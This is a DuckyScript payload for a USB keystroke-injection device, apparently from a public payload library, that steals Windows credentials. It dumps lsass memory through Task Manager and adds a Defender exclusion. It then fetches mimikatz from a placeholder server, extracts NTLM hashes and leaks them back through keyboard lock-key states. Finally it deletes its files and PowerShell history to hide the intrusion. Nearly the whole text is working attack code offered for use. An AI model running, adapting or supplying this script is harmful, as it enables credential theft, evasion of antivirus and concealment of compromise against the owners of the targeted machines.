Path: blob/master/payloads/library/exfiltration/ExfiltrateWindowsCredentials/KeystrokeReflection/payload.txt
2971 views
REM Title: DuckyScript payload for data exfiltration using keystroke reflection1REM Author: jakobfriedl2ATTACKMODE HID34REM OS Detection to ensure the target is Windows5EXTENSION PASSIVE_WINDOWS_DETECT6REM VERSION 1.17REM AUTHOR: Korben89REM CONFIGURATION:10DEFINE #MAX_WAIT 15011DEFINE #CHECK_INTERVAL 2012DEFINE #WINDOWS_HOST_REQUEST_COUNT 213DEFINE #NOT_WINDOWS 71415$_OS = #NOT_WINDOWS1617VAR $MAX_TRIES = #MAX_WAIT18WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))19DELAY #CHECK_INTERVAL20$MAX_TRIES = ($MAX_TRIES - 1)21END_WHILE22IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN23$_OS = WINDOWS24END_IF25END_EXTENSION2627IF ($_OS != WINDOWS)28LED_R29STOP_PAYLOAD30END_IF3132REM Define the URL of the server hosting the mimikatz executable33DEFINE #SERVER_URL http://XXX.XXX.XXX.XXX3435DELAY 100036LED_OFF37SAVE_HOST_KEYBOARD_LOCK_STATE38$_EXFIL_MODE_ENABLED = TRUE39$_EXFIL_LEDS_ENABLED = TRUE40REM Delete existing dump file41GUI r42DELAY 20043STRINGLN powershell "rm $env:TEMP\lsass.DMP"44DELAY 2004546REM Create lsass-dump using the TaskManager47GUI r48DELAY 20049STRING taskmgr50CTRL-SHIFT ENTER51DELAY 50052ALT y53DELAY 50054DOWNARROW55DELAY 100056STRING lsass57DELAY 50058SHIFT F1059$I = 060WHILE ($I < 5)61UPARROW62$I = ($I + 1)63END_WHILE64ENTER65DELAY 50066ENTER67ALT F46869REM Add exclusion path to the Windows Defender settings70GUI r71DELAY 20072STRING powershell.exe73CTRL-SHIFT ENTER74DELAY 50075ALT y76DELAY 50077STRINGLN if((Get-MpComputerStatus).RealTimeProtectionEnabled){Set-MpPreference -ExclusionPath $env:TEMP}7879REM Download mimikatz.exe from webserver80STRINGLN wget #SERVER_URL/mimikatz.exe -o $env:TEMP\mimikatz.exe81DELAY 10008283REM Execute mimikatz and the necessary commands84STRINGLN cd $env:TEMP85STRINGLN .\mimikatz.exe "privilege::debug"86STRINGLN log exfiltration.log87STRINGLN sekurlsa::minidump lsass.DMP88STRINGLN sekurlsa::logonpasswords89DELAY 500090CTRL c91DELAY 5009293REM Format mimikatz-log for exfiltration94STRINGLN cat .\exfiltration.log | Select-String -Pattern "NTLM" -Context 2,0 | Get-Unique > credentials.txt9596REM Exfiltration97REM Convert the data in credentials.txt to NUMLOCK and CAPSLOCK values and terminate with SCROLLLOCK98STRINGLN foreach($byte in $(cat $env:TEMP\credentials.txt -En by)){foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01) {if($byte -band $a){$o+='%{NUMLOCK}'} else{$o+='%{CAPSLOCK}'}}}; $o+='%{SCROLLLOCK}'99DELAY 200100101REM Reflect the keystrokes back to the USB Rubber Ducky102STRINGLN Add-Type -A System.Windows.Forms;[System.Windows.Forms.SendKeys]::SendWait($o)103DELAY 200104105REM SCROLLLOCK indicates that exfiltration has completed106WAIT_FOR_SCROLL_CHANGE107LED_G108$_EXFIL_MODE_ENABLED = FALSE109RESTORE_HOST_KEYBOARD_LOCK_STATE110111REM Clean-up112REM Remove files113STRINGLN rm $env:TEMP\lsass.DMP114STRINGLN rm $env:TEMP\mimikatz.exe115STRINGLN rm $env:TEMP\exfiltration.log116STRINGLN rm $env:TEMP\credentials.txt117REM Reset configurations118STRINGLN Remove-MpPreference -ExclusionPath $env:TEMP119REM Delete Powershell history120STRINGLN rm (Get-PSReadLineOption).HistorySavePath121122